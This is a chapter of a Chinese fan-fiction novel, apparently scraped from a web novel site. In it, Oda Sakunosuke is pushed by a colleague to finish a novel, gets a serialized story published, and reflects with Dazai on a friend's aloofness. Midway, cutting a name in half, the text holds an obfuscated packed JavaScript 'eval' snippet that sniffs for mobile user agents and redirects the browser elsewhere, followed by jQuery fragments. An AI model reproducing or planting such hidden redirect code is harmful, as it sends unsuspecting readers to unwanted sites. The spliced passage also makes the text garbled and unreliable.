9. 第九章

作品:《武侦今天在涛什么

    立志成为一个小说家的织田作之助,正在面临了一个生死问题。


    立花真由撑着手坐在他的面前,眼睛一眨不眨的盯着他看,正在等待着他的回答,而他的同事们同样很好奇这个问题的答案。


    要问织田作之助怎么会沦落到如此境地?时间还要拉回到今天早上。


    .


    今天的立花真由醒的格外的早,并且还准时九点钟打了上班卡,这对所有人来说都是一个很意外的事情。按理来说,立花真由会在十一点整打上班卡,十一点之前在侦探社内是见不到他的身影的。而他醒的这么早,是出乎所有人意外的,也不知道中间是出了什么差错,太宰治并不是时时刻刻都会用他的异能力作弊,毕竟人与人之间还是需要一点距离。


    不过……有时候出现一些意外的事情,会给生活带来很多趣味不是吗?


    也不知道今天立花真由会给他们带来什么样的致命问题,谁都不想要成为其他人嘴里的话题主人公。


    织田作之助也不例外。


    但逃避是逃避不了的。


    立花真由准时打卡的第一件事就是霸占织田作之助的工位,谁让他比织田作之助先一步打卡。在落座的那一瞬间,织田作之助第一次产生了转身就走的想法,他忽然觉得逃班出去入水的太宰治还是有一定的可取之处的。


    有时候逃避是一件很好的办法。


    看到立花真由的动作,侦探社的其他人很是松了一口气,毕竟被调侃的主人公不是他们自己,这就是一件很值得庆幸的事。


    织田作之助打完卡,叹了一口气走到立花真由的旁边,语气无奈:“今天立花要问我什么事?”


    这已经是武装侦探社必会出现的一句话。


    话音一落,其他人瞬间看了过来,眼神里带着的是遮掩不住的好奇心。


    立花真由也没有捉弄人的想法,直接说出了今日会被讨论的话题,或者说这可能是只对当事人的灵魂发问:“梦想成为小说家的织田作今天有成功写出一篇小说吗?”


    “是完整的哦。”立花真由给自己的话打了个补丁。


    大家都知道之前织田作在前一段时间写出了一个小短篇,灵感来源于藤子奶奶家的狗这个委托,但这只是系列文中的短小一篇。


    接受到灵魂发问的织田作之助呼吸下意识放轻,汗毛直竖,背后起了一身冷汗。明明自己已经是经历过很多危险的人,怎么能够被这看起来毫无杀伤力的问题给狠狠的打一巴掌?


    这个死亡问题他完全给不了准确的答案。回答没有,可能会收到众人的催稿,如果说有,那他也拿不出完整的东西出来。此时沉默已经是最好的答案了。


    对于这个结果,立花真由毫不意外。作为鸽子精的织田作之助要是能这么快写出一篇完整的小说,那才是真的意外,幸好他原本就没有抱什么希望。


    默默地从织田作的工位上站起来,拍了拍对方的肩膀语重心长:“不要当一只鸽子啊,鸽子是没有好下场的。我相信你也不会想要吃到烤乳鸽,喝到鸽子汤吧?”


    这是在威胁他吧?这一定是在威胁他吧。


    织田作之助两眼一黑,仿佛看不到未来。不,或许是看到了自己被催稿的恐怖未来。


    遭受了剧烈打击的他望着一片空白的笔记本,握着钢笔的手微微颤抖。


    嗯,他要写什么来着?算了,红烧乳鸽挺好吃的吧,鸽子汤也应该很好喝吧。


    有时候放弃可比坚持容易的多。


    织田作之助今天也没能写出一篇完整的小说。


    .


    有了今天这一茬之后,织田作之助好像有了新的动力。


    之前写完的那一篇是以侦探社的委托为灵感的。


    既然如此,那他接下来也还是以侦探社的委托为灵感港继续往下写好了。


    少年与狗只是这一系列的一个开篇,侦探社其实要经历的委托还是挺多的。细碎的,日常的,普遍的这才是侦探社的日常。既然如此,那少年开的事务所也应该是如此。


    [一个想要养活自己的少年,一群热情友好的邻居。想要以此为生的少年收到了很多细碎的委托,事情很容易就解决,一点都不复杂。每每解决完委托,少年都会接受邻居们的热情夸赞,好似自己做了什么很厉害的事情一样。但少年知道自己只是尽了一份小小的力量,就算不找他,邻居们自己也可以完成那些委托给他的任务。


    知道内情的少年越加的珍惜邻居们的好意,也越发的感激他们。周围带来的善意足够让一个少年敞开心胸,也足够让一个少年脱离掉孤独的囚禁。原本只是为了糊口而创立的事务所,少年忽然有了一个更远大的想法,他想开一个真正的事务所,一个能帮助很多很多人的事务所。


    爱是很温暖的东西。


    他想要把自己得到的爱以同样的方式传递出去。每个人都值得拥有一个它不是吗?


    ……]


    写到这里,织田作画上了最后一个句号。他的第一本长篇小说就这么断断续续的写了出来,在所有人殷切的期盼之下,织田作把这一份稿件投递了出去。不管结果是好是坏,他都迈出了第一步。


    等待结果的时间是难熬的,尽管所有人都没有提及这件事,还在刻意的屏蔽这件事,作为投稿的主人公还是会忍不住去思考这件事。好在最后的结果和小说主人公的结局一样,他们都得到了自己想要的东西。


    他的那篇稿子成功过稿,杂志社那边寄了一封信,还有一份合同。信中编辑告诉他这是一篇很温暖的小说,他想写出这篇小说的人也应该是一个很温柔的人,他很期待他的下一部作品。


    接下来的日子像是按了加速键。


    杂志社那边给他们寄过来了几份成品,织田作之助作品是以连载的方式刊登的。社长得知这个消息之后,做主把其中一份杂志放在了迎客厅的书架。


    织田作之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111330|164072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    助的作品是最好的,值得被所有人看见,这是武装侦探社所有成员都确信的一件事情。


    .


    太宰治在很早之前就知道了织田作之助的目标,他也很支持织田作去做他自己想要做的事情。


    他还知道一件除了当事人以外都不知道的事情,那就是织田作之助其实有写过很多小短篇,但一次都没有去投稿过。在知道他决定把少年的事务所这篇小说给完完整整的写出来,并前去投稿的时候,他是有些意外的。


    他有些好奇,私下问过对方为什么会单独选择这一篇小说去投稿?


    织田作之助给出了一个意料之中,又意料之外的答案。


    他说他写少年的事务所这个题材,是在立花真由说出让中岛敦去接手藤子奶奶的那个长期委托的时候,忽然下的决定。


    太宰治有些哭笑不得,“那这是不是说明mayu的催稿是有效果的。”


    织田作之助十分认可这句话。


    “其实立花说出让中岛敦去接手藤子奶奶那个长期委托的时候,我是真的有些意外。和立花共事两年,平常嘻嘻哈哈,但他和所有人的距离都很远。”


    “在lupin酒吧的第一次见面,我就有立花是一个很奇怪的人。他偷偷跑出来当一个调酒师,满足了太宰你各种奇怪的需求,就算再不合理也还是会想方设法的给你达成。直到现在,我都还能回忆起他的穿着。戴着一顶黑色高大礼帽,身上穿着一身价值不匪的黑色西装,袖口高高挽起,完全不像一个调酒师,周身的气质和周围的环境格格不入,但他丝毫不在意这件事。”


    “他对所有的人,所有的事都抱有一种距离感。就算自己再好奇,也只会站在外面去旁观,不会亲手去触碰,就比如说他偷跑出来观察我们一样。立花是一个温柔的人,同样他也在用他自己的方式去拒绝所有一切可能会伤害到他的事情,但他对自己其实又很残酷。立花能主动去谈起有关羁绊的事情,真的很了不起。蜗牛都主动的探出了它的触手,那我是不是也应该勇敢的迈出第一步?”


    织田作之助难得能说出这么长一段话,太宰治听完沉思了很久,说起了另外一件事情。


    “mayu一直是这样的人。他在很早之前也是这么来观察我,他可能以为他自己的行为天衣无缝,但其实所有人都在偷偷给他开路,所有人都对他抱有一份莫名其妙的纵容。mayu是一个很坏很坏的人,他不接受别人对他的好,但却下意识的利用这些好,你说他是不是一个很奇怪的人?mayu很好,但他也很坏,到今天我都还是坚定的认为mayu是一个很坏很坏的人。”


    织田作之助没有说话,太宰治也没再开口。两人默契碰了下酒杯,冰块敲击杯壁发出清冽的声音。


    这件事就这么悄声无息的被揭了过去。


    有些话不用说的很清楚,其实大家都心知肚明。


    乐于纵容,也乐于装傻,谁让他们是很好的朋友。